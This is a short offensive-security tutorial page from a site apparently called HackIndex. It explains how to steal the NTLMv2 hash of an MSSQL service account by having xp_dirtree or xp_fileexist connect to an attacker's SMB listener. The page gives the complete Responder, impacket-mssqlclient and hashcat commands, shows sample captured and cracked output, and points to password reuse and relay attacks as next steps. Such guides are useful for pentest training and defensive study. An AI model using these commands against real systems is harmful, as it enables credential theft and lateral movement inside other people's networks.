Skip to content
HackIndex logo

HackIndex

MSSQL Credential Capture via Forced Authentication

3 min read Jun 19, 2026

SQL Server extended procedures like xp_dirtree and xp_fileexist trigger outbound SMB connections when given a UNC path. When the SQL Server service account attempts to authenticate to your listener, it sends an NTLMv2 hash. This hash can be cracked offline or relayed to authenticate to other services on the network depending on the account and environment.

This technique works with any SQL login that can execute xp_dirtree or xp_fileexist, not just sysadmin. It is one of the few exploitation paths available from a low-privilege SQL session.

Start Responder

Start Responder on the interface facing the target before triggering the connection. Responder captures the NTLMv2 challenge-response automatically:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I tun0 -v

Trigger Outbound Authentication via xp_dirtree

Connect to the SQL instance and execute xp_dirtree with a UNC path pointing to your Kali IP. The SQL Server service account will attempt to authenticate to your SMB listener:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ EXEC xp_dirtree '\\$LHOST\share';

Responder should capture the NTLMv2 hash within a few seconds:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I tun0 -v 
[SMB] NTLMv2-SSP Client   : 10.10.10.50
[SMB] NTLMv2-SSP Username : CORP\sqlsvc
[SMB] NTLMv2-SSP Hash     : sqlsvc::CORP:aad3b435b51404ee:4b2a...:010100000...

The hash format is NTLMv2-SSP which is directly usable with hashcat mode 5600. The username and domain fields confirm which account authenticated — a service account running the SQL Server service.

Alternative: xp_fileexist

xp_fileexist also triggers an outbound SMB connection and is available to the same permission level as xp_dirtree. Use it as an alternative if xp_dirtree is blocked:

┌──(kali㉿kali)-[~]
└─$ EXEC xp_fileexist '\\$LHOST\share\file.txt';

Crack the Captured Hash

Save the full NTLMv2 hash line from Responder to a file and crack it with hashcat:

┌──(kali㉿kali)-[~]
└─$ echo 'sqlsvc::CORP:aad3b435b51404ee:4b2a...:010100000...' > /tmp/mssql_hash.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /tmp/mssql_hash.txt /usr/share/wordlists/rockyou.txt --force 
sqlsvc::CORP:...:Password123

A cracked service account password is reusable across any service the account is mapped to — often WinRM, SMB, and RDP in addition to MSSQL. If the hash does not crack, consider relay attacks if SMB signing is disabled on target hosts in the environment.

References